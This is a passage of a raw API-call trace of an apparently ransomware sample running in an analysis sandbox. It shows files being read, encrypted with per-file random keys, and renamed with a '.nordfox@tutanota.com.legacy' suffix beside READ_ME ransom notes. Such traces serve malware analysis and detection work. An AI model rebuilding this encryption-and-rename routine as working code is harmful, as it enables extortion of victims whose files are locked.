lpNumberOfBytesWritten=0x2e1f9bc*=0x821fb, lpOverlapped=0x0) returned 1 [0181.871] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x821fb [0181.871] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.871] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.871] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.872] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.872] CloseHandle (hObject=0x1b0c) returned 1 [0181.872] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.index"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.index.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.index.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.874] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.874] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.874] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.ft", dwFileAttributes=0x80) returned 1 [0181.874] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.ft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0181.874] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=107355) returned 1 [0181.874] ReadFile (in: hFile=0x1b0c, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1a35b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a35b, lpOverlapped=0x0) returned 1 [0181.887] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-107355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.887] WriteFile (in: hFile=0x1b0c, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x1a35b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a35b, lpOverlapped=0x0) returned 1 [0181.887] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a35b [0181.887] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.887] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.888] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.888] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.888] CloseHandle (hObject=0x1b0c) returned 1 [0181.888] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.ft"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.ft.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.ft.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.892] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.892] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0181.892] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.893] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0181.893] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5) returned 1 [0181.893] ReadFile (in: hFile=0x1b0c, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.894] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.894] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.894] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0181.894] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.894] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.894] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.895] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.895] CloseHandle (hObject=0x1b0c) returned 1 [0181.895] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.897] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.897] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.897] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.897] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0181.897] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5) returned 1 [0181.898] ReadFile (in: hFile=0x1b0c, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.898] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.898] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.899] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0181.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.899] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.899] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.899] CloseHandle (hObject=0x1b0c) returned 1 [0181.899] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0181.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.901] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.901] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0181.902] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=90303) returned 1 [0181.902] ReadFile (in: hFile=0x1b0c, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x160bf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x160bf, lpOverlapped=0x0) returned 1 [0181.912] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-90303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.913] WriteFile (in: hFile=0x1b0c, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x160bf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x160bf, lpOverlapped=0x0) returned 1 [0181.913] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x160bf [0181.913] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.913] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.913] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.913] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.914] CloseHandle (hObject=0x1b0c) returned 1 [0181.914] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.916] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf8b096ad, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73770 [0181.916] SetLastError (dwErrCode=0x0) [0181.916] GetLastError () returned 0x0 [0181.916] SetLastError (dwErrCode=0x0) [0181.916] GetLastError () returned 0x0 [0181.916] SetLastError (dwErrCode=0x0) [0181.916] FindNextFileW (in: hFindFile=0x2f73770, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf8b096ad, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.916] SetLastError (dwErrCode=0x0) [0181.916] GetLastError () returned 0x0 [0181.916] SetLastError (dwErrCode=0x0) [0181.916] GetLastError () returned 0x0 [0181.916] SetLastError (dwErrCode=0x0) [0181.916] FindNextFileW (in: hFindFile=0x2f73770, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x5106299e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0181.917] SetLastError (dwErrCode=0x0) [0181.917] GetLastError () returned 0x0 [0181.917] SetLastError (dwErrCode=0x0) [0181.917] GetLastError () returned 0x0 [0181.917] SetLastError (dwErrCode=0x0) [0181.917] FindNextFileW (in: hFindFile=0x2f73770, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8b096ad, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8b096ad, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8b096ad, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.917] SetLastError (dwErrCode=0x0) [0181.917] GetLastError () returned 0x0 [0181.917] SetLastError (dwErrCode=0x0) [0181.917] GetLastError () returned 0x0 [0181.917] SetLastError (dwErrCode=0x0) [0181.917] FindNextFileW (in: hFindFile=0x2f73770, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8b096ad, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8b096ad, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8b096ad, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.917] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0181.917] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0181.917] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\container.dat", dwFileAttributes=0x80) returned 1 [0181.918] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\ac\\inethistory\\backgroundtransferapi\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b10 [0181.918] GetFileSizeEx (in: hFile=0x1b10, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0181.918] ReadFile (in: hFile=0x1b10, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0181.918] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.918] WriteFile (in: hFile=0x1b10, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0181.918] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0181.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.919] WriteFile (in: hFile=0x1b10, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.919] WriteFile (in: hFile=0x1b10, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, 